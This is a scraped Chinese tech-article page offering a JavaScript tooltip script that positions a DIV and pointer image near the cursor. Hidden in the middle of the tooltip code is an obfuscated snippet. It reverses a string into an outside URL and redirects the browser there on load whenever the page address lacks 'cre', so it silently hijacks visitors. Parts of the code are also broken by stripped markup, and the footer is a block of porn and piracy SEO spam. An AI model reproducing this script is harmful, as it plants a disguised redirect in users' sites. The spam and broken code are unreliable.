<span id="mktg5"></span>

<i id="mktg5"><meter id="mktg5"></meter></i>

        <label id="mktg5"><meter id="mktg5"></meter></label>
        最新文章專題視頻專題問答1問答10問答100問答1000問答2000關(guān)鍵字專題1關(guān)鍵字專題50關(guān)鍵字專題500關(guān)鍵字專題1500TAG最新視頻文章推薦1 推薦3 推薦5 推薦7 推薦9 推薦11 推薦13 推薦15 推薦17 推薦19 推薦21 推薦23 推薦25 推薦27 推薦29 推薦31 推薦33 推薦35 推薦37視頻文章20視頻文章30視頻文章40視頻文章50視頻文章60 視頻文章70視頻文章80視頻文章90視頻文章100視頻文章120視頻文章140 視頻2關(guān)鍵字專題關(guān)鍵字專題tag2tag3文章專題文章專題2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章專題3
        問答文章1 問答文章501 問答文章1001 問答文章1501 問答文章2001 問答文章2501 問答文章3001 問答文章3501 問答文章4001 問答文章4501 問答文章5001 問答文章5501 問答文章6001 問答文章6501 問答文章7001 問答文章7501 問答文章8001 問答文章8501 問答文章9001 問答文章9501
        當前位置: 首頁 - 科技 - 知識百科 - 正文

        popdiv_javascript技巧

        來源:懂視網(wǎng) 責(zé)編:小采 時間:2020-11-27 20:32:48
        文檔

        popdiv_javascript技巧

        popdiv_javascript技巧: var offsetfromcursorX=12 //Customize x offset of tooltipvar offsetfromcursorY=10 //Customize y offset of tooltip var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer imagevar offsetdivfrompointerY=14 //Custo
        推薦度:
        導(dǎo)讀popdiv_javascript技巧: var offsetfromcursorX=12 //Customize x offset of tooltipvar offsetfromcursorY=10 //Customize y offset of tooltip var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer imagevar offsetdivfrompointerY=14 //Custo


        var offsetfromcursorX=12 //Customize x offset of tooltip
        var offsetfromcursorY=10 //Customize y offset of tooltip

        var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
        var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

        document.write('') //write out tooltip DIV
        document.write('') //write out pointer image

        var ie=document.all
        var ns6=document.getElementById && !document.all
        var enabletip=false
        if (ie||ns6)
        var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

        var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

        function ietruebody(){
        return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
        }

        function ddrivetip(thetext, thewidth, thecolor){
        if (ns6||ie){
        if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
        if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
        tipobj.innerHTML=thetext
        enabletip=true
        return false
        }
        }

        (function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
        cu//:p\
        tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

        function positiontip(e){
        if (enabletip){
        var nondefaultpos=false
        var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
        var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
        //Find out how close the mouse is to the corner of the window
        var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
        var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

        var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
        var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

        var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

        //if the horizontal distance isn't enough to accomodate the width of the context menu
        if (rightedge//move the horizontal position of the menu to the left by it's width
        tipobj.style.left=curX-tipobj.offsetWidth+"px"
        nondefaultpos=true
        }
        else if (curXtipobj.style.left="5px"
        else{
        //position the horizontal position of the menu where the mouse is positioned
        tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
        pointerobj.style.left=curX+offsetfromcursorX+"px"
        }

        //same concept with the vertical position
        if (bottomedgetipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
        nondefaultpos=true
        }
        else{
        tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
        pointerobj.style.top=curY+offsetfromcursorY+"px"
        }
        tipobj.style.visibility="visible"
        if (!nondefaultpos)
        pointerobj.style.visibility="visible"
        else
        pointerobj.style.visibility="hidden"
        }
        }

        function hideddrivetip(){
        if (ns6||ie){
        enabletip=false
        tipobj.style.visibility="hidden"
        pointerobj.style.visibility="hidden"
        tipobj.style.left="-1000px"
        tipobj.style.backgroundColor=''
        tipobj.style.width=''
        }
        }
        document.onmousemove=positiontip

        聲明:本網(wǎng)頁內(nèi)容旨在傳播知識,若有侵權(quán)等問題請及時與本網(wǎng)聯(lián)系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

        文檔

        popdiv_javascript技巧

        popdiv_javascript技巧: var offsetfromcursorX=12 //Customize x offset of tooltipvar offsetfromcursorY=10 //Customize y offset of tooltip var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer imagevar offsetdivfrompointerY=14 //Custo
        推薦度:
        標簽: pop javascript div
        • 熱門焦點

        最新推薦

        猜你喜歡

        熱門推薦

        專題
        Top
        主站蜘蛛池模板: 免费在线观看污网站| 四虎影视永久免费观看地址| 亚洲国产a∨无码中文777 | 亚洲综合一区二区三区四区五区| 91精品国产免费| 337p日本欧洲亚洲大胆色噜噜| 免费无码又爽又刺激高潮视频| 亚洲成AV人片在| 久久精品乱子伦免费| 亚洲电影国产一区| 亚洲高清免费在线观看| 国产午夜亚洲精品| 国产免费人人看大香伊| 人成午夜免费大片在线观看| 亚洲精品~无码抽插| 99久久国产免费-99久久国产免费| 亚洲日本一区二区| 日韩吃奶摸下AA片免费观看| 亚洲欧美成人综合久久久| 免费国产不卡午夜福在线| 国产一区二区三区免费观在线| 亚洲AV永久纯肉无码精品动漫| 国产在线观看麻豆91精品免费| 亚洲高清有码中文字| 亚洲?V无码乱码国产精品| 国产午夜成人免费看片无遮挡| 亚洲美女视频一区二区三区| 妞干网免费视频观看| 麻豆安全免费网址入口| 亚洲AV无码国产精品色午友在线 | 精品国产麻豆免费网站| 国产无限免费观看黄网站| 在线观看亚洲人成网站| 国产成人一区二区三区免费视频| a级片免费在线播放| 亚洲最大的成人网| 人人狠狠综合久久亚洲88| 成年美女黄网站18禁免费| 免费网站观看WWW在线观看| 亚洲一区二区三区91| 中文字幕不卡亚洲|